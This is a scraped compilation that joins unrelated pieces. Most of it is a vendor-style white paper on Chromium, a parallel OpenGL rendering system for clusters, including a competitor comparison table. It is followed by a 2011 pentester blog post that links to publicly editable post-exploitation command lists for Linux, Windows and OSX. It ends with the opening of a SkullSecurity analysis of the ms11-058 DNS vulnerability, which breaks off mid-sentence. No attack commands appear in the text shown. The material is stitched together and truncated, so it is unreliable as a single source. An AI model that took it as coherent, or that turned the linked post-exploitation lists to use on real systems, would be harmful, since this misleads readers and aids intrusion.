Major applications vendors \(e.g. CEI\) have demonstrated prototypes of their
commercial software packages with specific modifications to exploit the
parallel rendering capabilities of the system and it has been put into
production use at national laboratories and a number of research institutions.
Recently, Chromium was singled out in a list of influential open source
graphics tools by LinuxWorld magazine. Perhaps the most telling examples of
its widespread adoption have been the involvement of major computer systems
vendors in the project. IBM has supported the work through their Deep View
research efforts, SGI has announced plans to support and contribute to the
project and several smaller vendors \(e.g. Graph Stream\) distribute and
support Chromium on their cluster offerings.

##  Overview

Chromium's strength stems from its seamless integration of several pieces of
novel technology. These include

  * an OpenGL API interception mechanism 
  * an efficient stream processing model based on OpenGL 
  * an optimizing state tracking mechanism 
  * a method for extending OpenGL 
  * a programmable pipeline realization system \(the "mothership"\). 

Chromium can be used with or without DMX or with other components as needed.
Chromium is part of an Open Source software stack that can be scaled to large
parallel systems and provides a series of conceptual abstraction layers. The
basic software stack is illustrated below:

<img src='img/Temp2_560.png' alt='Software stack' />

Parallel applications may or may not sit on top of higher level toolkits such
as VTK.

Other layers include:

  * Chromium provides an OpenGL abstraction which includes a parallel interface and a generalized stream processing layer. 
  * Distributed Multi-headed X \(DMX\) provides a distributed X11 server implementation that aggregates a number of X11 servers into a single X11 server. 
  * Parallel Image Compositing API \(PICA\) provides a standard API abstraction for hardware and software compositing systems. 
  * MIDAS provides indirect rendering and digital image delivery mechanisms that allow for the separation of 3D rendering from image delivery. 
  * Merlot provides a flexible image transport service that allows distributed applications to leverage existing image compression and delivery technologies. 
  * Telepath provides visualization scheduling, session and resource control. 

For more information, see VIEWS Visualization.

##  Interception of the OpenGL API

Chromium is based on the industry-standard OpenGL applications programming
interface. OpenGL applications must dynamically link to this library in order
to support a variety of graphics cards. Chromium exploits this dependency by
using its own interception library to masquerade as the system's OpenGL
library.. _A side effect of this is that Chromium is entirely transparent to a
running application._ Through this mechanism, Chromium takes control of all
three-dimensional graphics rendering by the application The design of this
interception library is such that it allows for Chromium to use the computer
system's native OpenGL implementation, ensuring access to the computer's high-
performance, hardware-accelerated rendering functions. The Chromium OpenGL
programming interface includes all of standard OpenGL through version 1.5,
including many of the most common and innovative graphics extensions
available, such as vertex and fragment programs.

##  Stream Processing Model

Once Chromium has control of all rendering done by an application, all OpenGL
graphics commands are converted into a stream of partially ordered graphics
commands. Because the Chromium stream is based on the industry standard OpenGL
API, existing applications can be easily interfaced to the system and the
system can exploit graphics cards with high-performance OpenGL interfaces. It
is important to note that this stream is largely conceptual rather than
literal, and that it is only physically realized as a network stream when it
becomes necessary for graphics commands to move from one computer in the
cluster to another.

This stream basis allows Chromium to naturally extend from a single computer
to distributed-memory clusters, using an extremely efficient network
abstraction layer. The network subsystem is more efficient than other options
\(e.g., the GLX protocol\), and organizes the encoding in such a way as to
increase the overall network utilization. This is a critical point when
operating on modern, high-performance interconnects.

##  The Stream Processing Unit \(SPU\)

A novel aspect of Chromium is how these graphics streams are represented in
the system. While a stream can take the form of encoded bytes on a network,
this form is only used when physically moving between cluster nodes. Within a
node, the stream takes the form of OpenGL function calls. Chromium provides a
construct referred to as the stream processing unit, or SPU \(pronounced
"spew"\). A SPU provides a data structure through which the Chromium rendering
stream is passed in the form of OpenGL function calls. The SPU provides all
the potential function calls of an OpenGL implementation. This construct
results in a fixed interface that makes possible the concept of a SPU chain, a
collection of SPUs linked together transparently without the need for network
transport of the stream.

One unique feature of the SPU system design is that a SPU need not implement
the entire OpenGL API. Chromium allows a SPU to inherit from other SPUs. By
default, a SPU inherits from a "passthrough" SPU, which allows an upstream SPU
to directly call a downstream SPU, bypassing all the SPUs in between that are
not needed for a given OpenGL function call. Thus, Chromium's SPU chains can
avoid introducing any unnecessary performance overhead for deep collections of
SPUs. It also has the side effect of keeping SPU development simple, which
allows for all types of extensions to be developed by others outside of the
Chromium core software layer.

The Chromium system combines a collection of specially designed SPUs, and a
mechanism for realizing them at application invocation, transparently with
network encoding, transport and decoding mechanisms. Chromium provides
application scalability through the Tile-Sort SPU, parallel API and various
other rendering SPUs.

##  State-Tracking Mechanism

A key feature of this network stream processing system is its ability to track
the OpenGL state. OpenGL has a very complex system state that includes
elements like colors, textures, rendering modes, etc. Most notably, it can be
expensive to change the OpenGL state because it interrupts pipelined rendering
operation. Chromium has the ability to efficient track the OpenGL state and to
issue the minimum number of graphics commands necessary to transform the
current OpenGL state to any given target state. This feature, referred to as
"state tracking," allows Chromium to ignore redundant OpenGL calls and further
streamline any resulting rendering stream.

Chromium uses this state-tracking system in conjunction with a Tile-Sort SPU
to provide a mechanism for converting a single incoming stream into a set of
parallel streams that are spatially bounded. An example would be taking a
single incoming stream and rendering it in multiple streams to "tiles" in a
powerwall display, where each output stream corresponds to one output
projector or tile of an aggregate display.

<img src='img/Temp2_563.png' />

####  An example of output to multiple projectors in a powerwall display.

##  Extending/Enhancing OpenGL

In providing a solution to allow graphics processing to take advantage of
commodity clusters, Chromium also became a highly flexible, extensible system
that can be used by developers in ways not originally envisioned. Chromium
makes it possible to extend and enhance the OpenGL API to drive devices that
couldn't have been considered before. It has also enabled other, novel uses,
such as using Chromium for the debugging of graphics applications and as a
custom acceleration mechanism for desktop applications.

There are a number of other common types of Chromium SPU extensions based on
abstraction of the "rendering" operation. These types of SPUs can be used to
change the "look" of rendering \(such as making all rendering have a
"blueprint" look\) or perform render scaling via the conversion of geometry to
images. The OpenGL API supports both classical geometry \(e.g., lines and
polygons\) as well as rectangles of color or depth pixels. This allows
Chromium to seamlessly model the conversion of geometry into pixels via a
"rendering" operation that uses the local graphics hardware on a given cluster
node. Various SPU developers have used this to perform "remote" rendering
operations such as to PDAs from clusters, and to drive large, network-attached
displays \(for example, the IBM T221 display via the Scalable Graphics Engine
network frame buffer shown below\).

<img src='img/Temp2_562.png' />

####  Example of the Catia application rendering to a network-attached  
9-million-pixel \(T221\) display via the IBM Scalable Graphics Engine SPU.  
This illustrates parallel rendering to a unique, network-based, high-
resolution device via Chromium's extension mechanism.

<img src='img/Temp2_571.png' />

####  The SPU chains used for the IBM T221/SGE rendering example.

Perhaps the most important use of Chromium's extension capability is in
rendering aggregation - providing scalability for large, decomposed datasets
via the "binary-swap" image-compositing SPU. This allows for all the rendering
to occur locally on the nodes with the application data, while a final image
is generated by pushing augmented images into the rest of a Chromium SPU
pipeline. This allows a number of nodes of a cluster to be used to generate a
single image or drive an individual display.

<img src='img/Temp2_564.png' width='284' height='171' />

####  Example of rendering aggregation, with outputs from several nodes
composited together  
to produce a single image, in this case a medical volume rendering.

##  Parallel API

One very important way in which Chromium differs from OpenGL is that Chromium
supports parallelism. OpenGL itself is a serial API that guarantees that
commands are executed in the order they are made by the serial source. This
mode of operation is not feasible in parallel clusters, because it would imply
communication among all the nodes in a cluster with every function call to
ensure global ordering. The approach taken in Chromium is to exploit the fact
that, for most applications, a strict ordering is not necessary. Most
applications only require that collections of commands be executed before or
after each other, so the addition of basic parallel barriers and semaphores
suffice to ensure proper primitive rendering order. We introduce a set of
three such synchronization primitives \(`glBarrierExec()`, `glSemaphoreP()`
and `glSemaphoreV()`\) that are not immediately executed; rather they are
encoded directly into the rendering stream, avoiding expensive global
communication. These primitives are resolved at any network collection point
in the stream \(any point in the SPU pipeline that supports the merging of
multiple streams\). Normally, this is performed late in the pipeline, which
avoids system overhead in the application nodes and much of the potential
resource contention.

##  Starting Up Chromium: the "Mothership"

The Chromium system is instantiated through a system referred to as the
"Mothership." The mothership sets up and manages Chromium's processes by
dynamically reconfiguring system components. The mothership also deploys all
the incoming and outgoing resources, and is responsible for ensuring that all
the SPU chains and network connections are made on application demand. The
mothership system provides resource allocation and negotiation and can be
queried and hinted by an application. For example, an application can check to
see if it is running under Chromium and if so, inform the mothership that it
intends to perform parallel volume rendering.

The mothership design is also unique in that it is not based on classical
static configuration files like other systems. The Chromium mothership is
based on "executable" configuration scripts written in Python. These scripts
can negotiate a dynamic rendering configuration with both system resource
handlers \(e.g., a cluster node allocator\) and other configuration scripts.
This allows for more general configurations than static configurations can
support and allows Chromium to adapt to the dynamically changing environments
often encountered in commodity graphics clusters. The resulting system has
been used to realize a broad spectrum of rendering configurations customized
for specific application requirements and cluster capabilities.

Some example configurations illustrating various types of parallel processing
and various rendering targets are included here. Of these, the first two can
be found in both Chromium and other systems, but the last three are unique to
Chromium. Only Chromium is capable of all five of the illustrated
configurations. In these diagrams, red lines represent geometry and green
lines represent images transported over the cluster network and in general, a
list of SPUs is included in labels.

<img src='img/Temp2_559.png' />

####  Classical "sort-first" configuration for serial applications driving
tiled displays.  
This is a fundamental configuration that other systems are also capable of.

<img src='img/Temp2_558.png' />

####  Classical "sort-last" configuration for a parallel application driving a
single output.  
This is a fundamental configuration also found in other systems.

<img src='img/Temp2_570.png' />

####  "Visualization server" configuration combining characteristics of both
"sort-first" and "sort-last" configurations,  
resulting in multidimensional performance scaling. This type of configuration
is unique to Chromium.

<img src='img/Temp2_565.png' />

####  A "remote rendering" configuration designed to render to a remote tiled
display wall from a serial application. This is unique to Chromium.

<img src='img/Temp2_561.png' />

####  A "render and forward" configuration that could be used for temporal
rendering acceleration,  
collaborative environments or to exploit particular network configurations.
This is unique to Chromium.

##  A Note on Performance

The Chromium system has been demonstrated to provide scalable performance in a
number of different configurations. The parallel OpenGL API has been used to
demonstrate input scalability, the tile-sort SPU has been used to demonstrate
output scalability and the binary-swap SPU has been used to demonstrate
rendering/data scalability. The details of these tests are included in the
various published papers included on the accompanying CDROM. Chromium is the
only system to be able to demonstrate scaling along all three axes, and it can
do so simultaneously.

##  Product's Competitors by Manufacturer:

There are a number of products with feature sets that overlap those of
Chromium at some level. To the best of our knowledge, there is no competitor
that covers the full array of features that Chromium does.

SGI, Multipipe SDK, http://www.sgi.com/software/multipipe/sdk

The SGI Multipipe SDK is an API designed for use on SGI shared-memory,
multiple-CPU systems. The SDK is designed to simplify the use of multiple,
full-screen, graphics pipelines in shared-memory parallel applications. The
system replaces some of the OpenGL API with helper functions that call the
SDK. It is intended for new application development. Applications must be
modified to use this system.

VRCO, Cavelib, http://www.vrco.com/products/cavelib/cavelib.html

Cavelib is a parallel graphics library optimized for use in virtual reality
applications. It provides an abstraction of multiple, full-screen graphics
pipelines for both shared- and distributed-memory parallel applications.
Cavelib controls both the display and the input to the application program.
For parallel applications, it requires that a complete copy of the application
run on all systems and that each copy drive one display. Applications must be
modified to use this system.

RedHat, Distributed Multiheaded X11/GLX Proxy, http://dmx.sourceforge.net

The Distributed Multiheaded X11 \(DMX\) project provides an interface called
GLX Proxy. GLX proxy allows an unmodified OpenGL application to render to
multiple tiles of a powerwall. The system is based on the GLX network protocol
for OpenGL and only supports non-parallel applications. It operates by
broadcasting all the OpenGL commands to all the tiles, limiting its ability to
scale with large datasets.

Distributed scene graph: OpenSG, http://www.opensg.org

Here we use the OpenSG scene graph as a proxy for a number of similar systems
\(e.g., Distributed Open Inventor, …\). These systems are based on the scene
graph rendering abstraction interface. Application data is placed into a scene
graph and mechanisms in the graph are used to provide parallel semantics.
Generally, the entire graph is broadcast to all the display nodes.
Applications must be written specifically for these graph class structures to
access these abstractions.

ModViz, Renderizer, http://www.modviz.com/products/renderizer.htm

Renderizer is a commercial tool that provides a distributed graph library. It
provides an interface that can be used to transport and render geometry on
various nodes of a distributed graphics cluster. While it is possible to write
applications directly on top of this library, generally the library is used to
support other scene graph-based applications whose scene graph systems have
been ported to Renderizer.

HP sv6/sv7, http://www.hp.com/workstations/risc/visualization/overview.html

The HP sv6 & sv7 systems provide a unique hardware and software package that
allows unmodified X11 and OpenGL applications to run on large, tiled displays.
The system runs on HP distributed-graphics clusters. Applications OpenGL calls
are intercepted and intelligently broadcast to all the tile nodes. Various
configurations of video tiles allow sv6/7 applications to be able to scale
rendering performance as well as display size. The system does not support
explicitly parallel applications, although it will allow synchronized copies
of applications to run on all nodes.

SGI, VizServer, http://www.sgi.com/software/vizserver

The VizServer product is designed specifically to support remote and
collaborative rendering. It allows an unmodified OpenGL-based application to
render on one system and display the resulting imagery on another, remote
system. We include VizServer here due to its ability to convert a stream of
OpenGL geometry into a custom stream of imagery. VizServer is only available
on SGI shared-memory systems.

We compared these systems in five basic areas. The types of rendering they
support along with how they interface to applications is one key element in
determining where and when a given system could be used. The type of node and
display aggregation that a given system supports is another system
differentiator. These include the nature of parallel sources and displays,
which outline the level and types of scaling that are supported by a system.
We include a comparison of virtual reality capabilities for which some of the
systems were specifically designed. Finally, we complete the comparisons with
an examination of network efficiency and system availability/accessibility.

##  Comparison matrix to competing approaches:

Capability |  Chromium Advantages |  Chromium |  Multipipe SDK |  Cavelib |  DMX/GLX Proxy   
---|---|---|---|---|---  
Rendering |  |  |  |  |   
Legacy application transparency |  Standard |  Yes |  No |  No |  Yes   
Rendering API |  Standard |  OpenGL |  OpenGL |  OpenGL |  OpenGL   
Parallel OpenGL API |  Unique capability |  Yes |  No |  No |  No   
Parallel rendering to a window |  Nearly unique |  Yes, DMX extension |  No |  No |  Yes   
Custom OpenGL stream filters |  Unique capability |  Yes |  No |  No |  No   
Aggregation support |  |  |  |  |   
Serial app, multiple displays |  All three modes |  Yes |  Yes \(threaded\) |  Yes \(threaded\) |  Yes   
Parallel app, single display |  supported |  Yes |  Yes \(w/compositor\) |  No |  No   
Parallel app, multiple displays |  Nearly Unique |  Yes |  Yes \(threaded\) |  Yes |  No   
Other parallel rendering models |  Unique capability |  Render & forward  
Time multiplexed  
Several others |  Time multiplexed |  \- |  \-   
Virtual Reality Support |  |  |  |  |   
Stereo |  Standard |  Yes |  Yes |  Yes |  Yes   
Virtual reality input mechanisms |  Not supported |  No |  No |  Yes |  Yes   
Non-planar surfaces |  Standard |  Yes |  Yes |  Yes |  No   
Efficient network transport |  |  |  |  |   
Geometry to image transform |  Nearly unique |  Yes |  No |  No |  No   
Geometry caching support |  Standard |  Server+Client |  Server \(display list\) |  Server \(display list\) |  Server \(display list\)   
Encoding of geometry and state |  Unique capability |  Yes |  No |  No |  Partial   
Target Platform |  |  |  |  |   
Available as Open Source |  Freely available |  Yes |  Limited to Irix |  No |  Yes   
Specific OS Support |  Common platforms |  Linux, Irix, Windows, MacOS |  Irix |  Irix, HPUX, Solaris, Windows, Linux |  Irix, Linux, AIX, HPUX, Solaris   
Capability |  OpenSG |  Renderizer |  sv6/sv7 |  VizServer   
---|---|---|---|---  
Rendering |  |  |  |   
Legacy application transparency |  No |  No |  Yes |  Yes   
Rendering API |  Scene Graph† |  Scene Graph† |  OpenGL |  OpenGL   
Parallel OpenGL API |  No |  No |  No |  No   
Parallel rendering to a window |  No |  No |  Yes |  No   
Custom OpenGL stream filters |  No |  No |  No |  No   
Aggregation support |  |  |  |   
Serial app, multiple displays |  Yes‡ |  Yes‡ |  Yes |  Same image   
Parallel app, single display |  No |  No |  No |  No   
Parallel app, multiple displays |  No |  No |  No |  No   
Other parallel rendering models |  \- |  \- |  \- |  Time multiplexed   
Virtual Reality Support |  |  |  |   
Stereo |  Yes |  Yes |  Yes |  Yes   
Virtual reality input mechanisms |  Yes |  Yes |  No |  No   
Non-planar surfaces |  Yes |  Yes |  No |  No   
Efficient network transport |  |  |  |   
Geometry to image transform |  No |  No |  No |  Yes   
Geometry caching support |  Server+Client |  Server+Client |  Unknown |  Server \(display list\)   
Encoding of geometry and state |  State only |  State only |  Unknown |  No   
Target Platform |  |  |  |   
Available as Open Source |  Yes |  No |  No |  No   
Specific OS Support |  Irix, Linux, Windows |  Linux, Windows |  HPUX |  Irix   
†Scene graph subclasses generally allow raw OpenGL geometry calls.

‡Serial applications display to tiles by copying the scene graph to all the
tile nodes and broadcasting graph "events.

##  Advantages to using Chromium  

There are a number of areas where Chromium's features represent a major
improvement over competitive products. In some cases, Chromium offers unique
features found in no other product. Perhaps most important is that Chromium
offers all these benefits in a single package easily adoptable by applications
developers.

###  Flexible Application Integration

Chromium essentially replaces a system's OpenGL, allowing applications to use
Chromium without any modification. Chromium's application-transparent
operation mode allows an application to run directly on a desktop workstation
without Chromium, while the same unmodified application runs more efficiently
on a Chromium-enabled workstation or at scale on a cluster. This application-
transparent mode is a particularly important feature because it allows even
commercial applications, for which source code modifications are not
practical, to be used with the system. Chromium expands on this capability by
allowing applications to send hints and commands to the rendering system that
allow the rendering stream to be dynamically optimized by Chromium. This
Chromium-aware application mode is provided through the standard OpenGL
extension mechanism, allowing an application to choose its optimal mode of
operation when it is launched.

###  Parallel OpenGL API

Chromium is the only system that provides a true parallel OpenGL programming
interface. This API allows an application to specifically insert parallel
rendering control primitives into the rendering stream. This extended OpenGL
interface is uniquely designed not to require any global network
communication, and allows for a whole new class of parallel graphics
applications to be written that combine parallel computation together with
parallel rendering.

###  Flexible parallel application model support

Application models for parallelism have been notoriously difficult to
standardize on, particularly in the visualization space, because there are so
many models of parallelism to choose among: processes, message passing
interface \(MPI\), threads, sockets, etc. Many systems require an application
to adopt a specific parallel model either explicitly \(e.g., the shared memory
threads model\) or implicitly \(e.g., a library that wrappers remote
application execution entirely like Cavelib\). Chromium places no such
restrictions on applications. The application developer is free to choose the
parallel model that is most appropriate for the application and its target
platforms. This is particularly advantageous when porting existing parallel
applications to graphics clusters, as there is no need to rewrite the core
communication model.

###  Stream transforms via Stream Processing Units \(SPUs\)

Chromium is the only system based on a stream-processing model. The
implementation of this model, as the OpenGL API, is a novel mechanism,
allowing for the rendering platform itself to modify an application's
rendering style. Perhaps more importantly, it allows for innovative rendering
systems \(such as graphic compositing hardware, network display devices,
etc.\) to be seamlessly and dynamically integrated with applications without
their knowledge or modification. This results in more portable applications
and greater acceptance of unique rendering systems and devices.

###  Flexible rendering pipelines

One unique feature of Chromium is its ability to support nearly any rendering
pipeline topology. The basis of Chromium on a graphics streaming model, which
explicitly integrates geometry and imagery \(the OpenGL API\), allows Chromium
to realize not only the fundamental sort-first \(distributing geometry to the
right renderer/displays\) and sort-last \(distributing rendered images to the
right displays\) configurations, but also many other configurations. Examples
include a render-and-forward scheme, where each node taps the graphics stream,
or a "tee" rendering system where the stream is sent to two different
locations \(perhaps in different forms\) for collaborative viewing. Chromium
can change among these different models without the application's knowledge.
In fact, the same application code can be used for both sort-first and sort-
last rendering, a truly innovative feature of Chromium.

##  Principal applications of Chromium

The principal application of Chromium is to provide a portable, scalable,
parallel-graphics API for use with graphics-enabled distributed memory
clusters. As a result, it encourages the development of unique applications
that are only possible due to the scale of computational and graphics
computing power available in such clusters or that exploit extremely large-
scale collaborative displays.

A key aspect of Chromium in this mode is that it provides scalability to
applications using it. Chromium supports scaling along multiple axes: dataset
size \(up to 23-Terabyte datasets and 500-million-triangle surfaces have been
rendered under Chromium\), number of rendering nodes, and number of output
displays \(over 60-million-pixel displays have been demonstrated\). It
provides this all from the same API, and in fact can scale applications along
all three axes using the same rendering structure in a single application.

##  Other applications for which Chromium can be used

The design of the Chromium system has allowed it to be applied to a number of
other unique applications. Some examples are included in the paper references
\(see Appendix B\) and several of them are outlined here.

###  Remote Rendering

There are many examples where applications must run remote from a physical
display device. Chromium's network graphics model maps easily to this
situation. It allows large applications to run remotely on clusters,
exploiting the graphics-rendering capacity of those systems, but routing the
resulting imagery to a simpler, remote display device. Chromium has been used
in this mode to provide rendering services for PDA devices. It could also be
used to remotely generate dynamic imagery for applications such as web
services. For example, a web service could use Chromium to generate dynamic 3D
imagery for real-estate walkthroughs or automotive option reviews. Taken to
its extreme, it is possible for Chromium to provide this imagery
simultaneously to multiple clients, enabling collaborative web-based data-
exploration tools.

###  Alternative rendering styles

Chromium makes it possible to extend and enhance OpenGL. Because the graphics
pipeline in Chromium is entirely programmable, it is possible to create a
plug-in module to provide a custom rendering style, without having to modify
an application. By simply replacing some rendering calls with others in the
pipeline, it is possible to simulate other stylistic looks. An example is the
"hidden-line" SPU included in the Chromium distribution, which allows a
display generated by an unmodified application to be rendered with a blueprint
look.

<img src='img/Temp2_568.png' width='240' height='188' /> <img
src='img/Temp2_572.png' width='240' height='189' />

####  The Chromium hidden line SPU. The original application  
display is on the left and the same application, unmodified,  
rendered through the hidden line SPU on the right.

Another example of Chromium's ability to extend OpenGL is the "Archsplit" SPU,
which dynamically analyzes the graphics primitive stream and breaks up the
scene into floors, providing an architectural-walkthrough rendering style.
Again, Chromium can provide this capability to any application without the
need for modification using its ability to insert custom transformations into
the graphics-rendering stream.

<img src='img/Temp2_573.png' />

####  Archsplit display of a Quake level as an architectural walkthrough.  
The original display is on the left and the Chromium exploded levels are
displayed on the right.

###  Adaptive/novel graphics API exploration

The Chromium stream filtering mechanism can also be used to explore other
forms of graphics manipulation. For example, Chromium has been proposed as a
mechanism for the automatic generation of geometric level of detail. This
would make it possible for the graphics API to dynamically adapt to
application demands and delivered graphics card performance. In general, this
mechanism can be used to prototype and test extensions to the OpenGL API
itself to explore novel concepts in both parallel graphics system design and
non-parallel desktop applications.

###  Application debugging/performance tuning

Chromium has even been used to help debug and profile application performance.
The stream representation in Chromium can be directly written to disk in a
human-readable format. This makes it possible for a developer to save the set
of rendering commands and analyze them externally. In fact, at least one major
application was found to run faster under Chromium than without when running
on a single desktop workstation. After analysis of the captured stream data it
was found that the application made a large number of redundant OpenGL calls
which the Chromium state-tracker suppressed, yielding the performance gain.
This information made it possible to then patch the application to address
these findings. Chromium also provides a SPU that collects various network and
primitive statistics. Again, this information is not normally available to
application developers and it can be used to address various performance
tuning issues. In one case, the analysis resulted in the development of a
custom application acceleration SPU that identified specific patterns in an
application's graphics calls and replaced them with simpler, more rapidly
executing calls.

These are samples of the types of additional applications to which Chromium
has been applied. As developers, we have been continually surprised with the
innovative new applications for which other people have adapted and extended
Chromium.

##  Summary

Chromium is a unique technology package that addresses a number of pressing
issues in the graphics and visualization communities. It comes at a critical
point in time in the evolution of scalable graphics and display systems,
namely the transition to distributed clusters of commodity \(PC-based\)
graphics systems. This transition represents a major shift in the
visualization and graphics application programming environments. By reducing
the barriers to applications development on these platforms, Chromium enables
a whole new class of graphics applications with access to nearly unlimited
graphics processing capacity. This capacity comes at a point when datasets,
both measured and computational, are increasing in size extremely rapidly,
pushing the limits of graphics systems scalability to the extreme. Chromium
provides a common, portable environment for application development that has
demonstrated acceptance by developers and system vendors . This stems both
from basing Chromium on known standards \(OpenGL\) and its provision of
utilities to help ease the porting of applications to the cluster environment
\(the Chromium utility library, CRUT\), as well as from its open-source,
cross-platform availability. Chromium is simply more technologically advanced
and readily adoptable by application developers than other solutions.

Beyond its primary importance as a tool for the simple and transparent
aggregation of graphics and display resources, Chromium's basic architecture
has demonstrated the ability to be used in unique and novel applications; for
example, playing a critical role in the development of remote, scalable image
generation. The potential list of application spaces for which Chromium can
and has been applied is impressive and vast.

Based on feedback provided by numerous system suppliers and application
developers, we believe the Chromium infrastructure has significantly advanced
the commercial adoption, acceptance, and ultimately exploitation of an
entirely new class of scalable systems architecture: the distributed, graphics
super-cluster.

* * *
##  Reading List

###  Chromium Core

  * Humphreys G, Houston M, Ng R, Frank R, Ahern S, Kirchner PD, Klosowski JT. Chromium: A Stream Processing Framework for Interactive Rendering on Clusters. In Proceedings of SIGGRAPH 2002, pp. 693-702, 2002. 

* * *
###  Chromium technologies

  * Buck I, Humphreys G, Hanrahan P.  Tracking graphics state for networked rendering. Proceedings of SIGGRAPH/Eurographics Workshop on Graphics Hardware, pages 87-95, 2000. 
  * Humphreys G, Buck I, Eldridge M, Hanrahan P. Distributed rendering for scalable displays. IEEE Supercomputing 2000, 2000. 
  * Humphreys G, Eldridge M, Buck I, Stoll G, Everett M, Hanrahan P. WireGL: A scalable graphics system for clusters. Proceedings of SIGGRAPH 2001, pages 129-140, 2001. 
  * Igehy H, Stoll G, Hanrahan P. The design of a parallel graphics interface. Proceedings of SIGGRAPH 1998, pages 141-150, 1998. 

* * *
###  Presentations

  * Practical Systems for Scalable Rendering on Clusters, Greg Humphreys 
  * Production Cluster Visualization: Experiences and Challenges, Randall Frank 
  * Chromium: A Stream Processing Framework for Interactive Rendering on Clusters, Greg Humphreys 
  * Event Distribution and Image Delivery for Cluster-based Remote Visualization, Dale Beerman 
  * Chromium: An Open-source Cluster Rendering System, Greg Humphreys 
  * Chromium status, Mike Houston \(and the Chromium community\) 
  * What's New in Chromium? \- Brian Paul's slides from the Chromium User Group meeting on April 28, 2004 in Santa Fe, NM. 

* * *
###  Video Clips

Several video clips documenting Chromium and various applictions \(MPEG
format\)

  * Example of a Chromium driven PowerWall \(tiled\) display \(larger version\) 
  * Dynamic display reconfiguration 
  * Chromium interface to IBM SGE and T221 
  * Chromium parallel rendering and remote image delivery \(larger version\) 
  * Archsplit application demonstration
  * Catia running on Chromium 
  * SGI Performer runnng under Chromium 
  * Chromium flight simulator 

* * *
###  Applications:

  * Lamberti F, Zunino C, Sanna A, Flume A, Maniezzo M. An accelerated remote graphics architecture for PDAs. _Proceeding of the eighth international conference on 3D web technology_ , pp 55- , 2003\. 
  * Brown MS, Seales WB. Low-Cost and Easily Constructed Large Format Display System. _University of Kentucky Tech Report_ , HKUST TR-CS-01-02. 
  * Bethel EW, Humphreys G, Paul B, Brederson JD. Sort-First Distributed Memory Parallel Visualization and Rendering. _Proceedings of IEEE Symposium on Parallel and Large-Data Visualization and Graphics 2003_ , pp. 41-50, 2003. 
  * Bethel EW,  White Paper: Sort-First Distributed Memory Parallel Visualization and Rendering with OpenRM Scene Graph and Chromium, July 2003. 
  * Niederauer C, Houston M, Agrawala M, Humphreys G. Non-Invasive Interactive Visualization of Dynamic Architectural Environments. _Proceedings of ACM Symposium on Interactive 3D Graphics 2003_ , 2003. 
  * Reitmayr G, Billinghurst M, Schmalstieg D.  WireAR - Legacy Applications in Augmented Reality, _Demonstration at the 2nd IEEE/ACM Symposium on Mixed and Augmented Reality \(ISMAR 2003\)_ , Tokyo, Japan, October 2003. 
  * Duca N, Kirchner PD, Klosowski JT, Stream Caching: Optimizing Data Flow within Commodity Visualization Clusters. 
  * Tomov S, Bennett R, McGuigan M, Peskin A, Smith G, Spiletic J. Application of Interactive Parallel Visualization for Commodity-based Clusters Using Visualization APIs, Computers & Graphics, vol. 28/2, 12 \(2003\). 
  * Thibault S, Cavin X, Festor O, Fleury E. Unreliable Transport Protocol for Commodity-Based OpenGL Distributed Visualization, Workshop on Commodity-Based Visualization Clusters, IEEE Visualization 2002 
  * NCSA TerraServer Blaster

* * *
###  Miscellaneous articles and press releases:

  * Hayhurst, S. Open Source 3D Tools. _LinuxWorld_ , vol. 2 \(2\), pp 40-46, Feb, 2004. 
  * SGI Chromium Support Press Release:  SGI Launches Initiative to Dramatically Improve Linux Visualization Capabilities, Jan 20, 2004. 

* * *
###  Chromium On The Web

The Chromium project has spawned a large number of projects at various
companies and universities. A number of these projects are listed here to give
a flavor of the spectrum of applications for which Chromium technology has
been applied.

* * *
###  Commercial Sites

  * Tungsten Graphics, Inc. \- Offers custom Chromium development services. 
  * GraphStream, Inc., \- Offers high-performance computing solutions, including Chromium. 
  * Visbox, Inc. \- Offers the VisWall\(tm\)high resolution display wall which uses Chromium. 

* * *
###  Cluster Rendering Hardware

  * Information/experiences with Stanford's graphics cluster

* * *
##  Acknowledgements

The Chromium project is the result of the contributions of a large number of
people and organizations. We would like to recognize them for their help and
efforts, without which Chromium would not have been as successful as it has
been.

Organizations:

Los Alamos National Laboratory  
Sandia National Laboratory  
United States Department of Energy, ASCI VIEWS program

Individuals:

Dale Beerman  
Wes Bethel  
Ian Buck  
Nat Duca  
Matthew Eldridge  
Pat Hanrahan  
Peter Kirchner  
James Klosowski  
Chris Niederauer  
Terri Quinn  
Samuel Thibault  
David Thompson  
Joel Welling

And many others, too numerous to list here…

This work was performed under the auspices of the U.S. Department of Energy by
University of California, Lawrence Livermore National Laboratory under
Contract W-7405-Eng-48. UCRL-MI-202411

# Room362.com - Blog - Post Exploitation Command Lists

**Created:**| _9/8/2011 11:32:28 AM_  
---|---  
**Updated:**| _9/8/2011 3:08:25 PM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

##  Post Exploitation Command Lists

Tuesday, September 6, 2011 at 1:31AM

I've had a private list of commands that I run on Windows or Linux when I pop
a shell, as I'm sure most pentesters do. It isn't so much a thing of hoarding
as much it is just jumbled notes that are 'not worth posting'

Well, I made two \(now 3\) public google docs \(anyone can edit\) \*don't be a
dick clause

Linux/Unix/BSD Post Exploitation:

https://docs.google.com/document/d/1ObQB6hmVvRPCgPTRZM5NMH034VDM-1N-EWPRz2770K4/edit?hl=en\_US

Windows Post Exploitation:

https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en\_US

and newly added OSX Post Exploitation:

https://docs.google.com/document/d/10AUm\_zUdAQGgoHNo\_eS0SO1K-24VVYnulUD2x3rJD3k/edit?hl=en\_US

Both have filled out A LOT since I first posted them but if you have that one
trick command you'd like to share or just want to copy/print the list for your
own uses, thats fine too. I plan to keep these publicly editable as long as
people obey the DBAD clause.

If you don't know any cool commands but happen to be a tech writer and can
make it look beautiful, then great\! Please do. There are tables at the bottom
that I want to move everything to, or something like it, but if you can do it
better...

Anyways, look forward to seeing how this thing grows.

# SkullSecurity » Blog Archive » A deeper look at ms11-058

**Created:**| _9/3/2011 11:45:33 AM_  
---|---  
**Updated:**| _9/8/2011 3:10:50 PM_  
**Author:**| __  
**Tags:**| _Exploit windows_  
  

##  A deeper look at ms11-058

Filed under: DNS, Hacking, Reverse Engineering

Hey everybody,

Two weeks ago today, Microsoft released a bunch of bulletins for Patch
Tuesday. One of them – ms11-058– was rated critical and potentially
exploitable. However, according to Microsoft, this is a simple integer
overflow, leading to a huge memcpy leading to a DoS and nothing more. I
disagree.

Although I didn’t find a way to exploit this vulnerability, there’s more to
this vulnerability than meets the eye – it’s fairly complicated, and there are
a number of places that I suspect an experienced exploit developer might find
a way to take control.

In this post, I’m going to go over step by step how I reverse engineered this
